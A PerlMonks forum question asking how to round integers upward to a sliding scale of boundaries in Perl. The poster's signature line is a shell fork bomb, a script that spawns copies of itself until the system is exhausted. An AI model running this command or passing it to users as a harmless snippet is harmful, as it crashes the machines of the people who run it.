http://qs321.pair.com?node_id=270920

ibanix has asked for the wisdom of the Perl Monks concerning the following question:

Hi monks; thanks for your help with my date formatting question yesterday.

Today I find myself needing to round integer values upwards, based on a sliding scale. It looks something like this:

# Less than 10 1 - 5: 5 6 - 9: 10 # 10 to 100 10 - 14: 15 15 - 19: 20 20 - 24: 25 etc. # 100 to 1000 100 - 124: 125 125 - 149: 150 150 - 174: 175 etc. # 1000 and beyond 1000 - 1249: 1250 1250 - 1549: 1500 1500 - 1749: 1750 etc.
As you can tell, the pattern isn't too hard to deduce. I believe I can use log10() to figure out which category I'm in, but what methods do I use to perform rounding operations based on a ruleset like this? Is there something like ceiling() with the ability to define my boundries?

Thanks all!
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;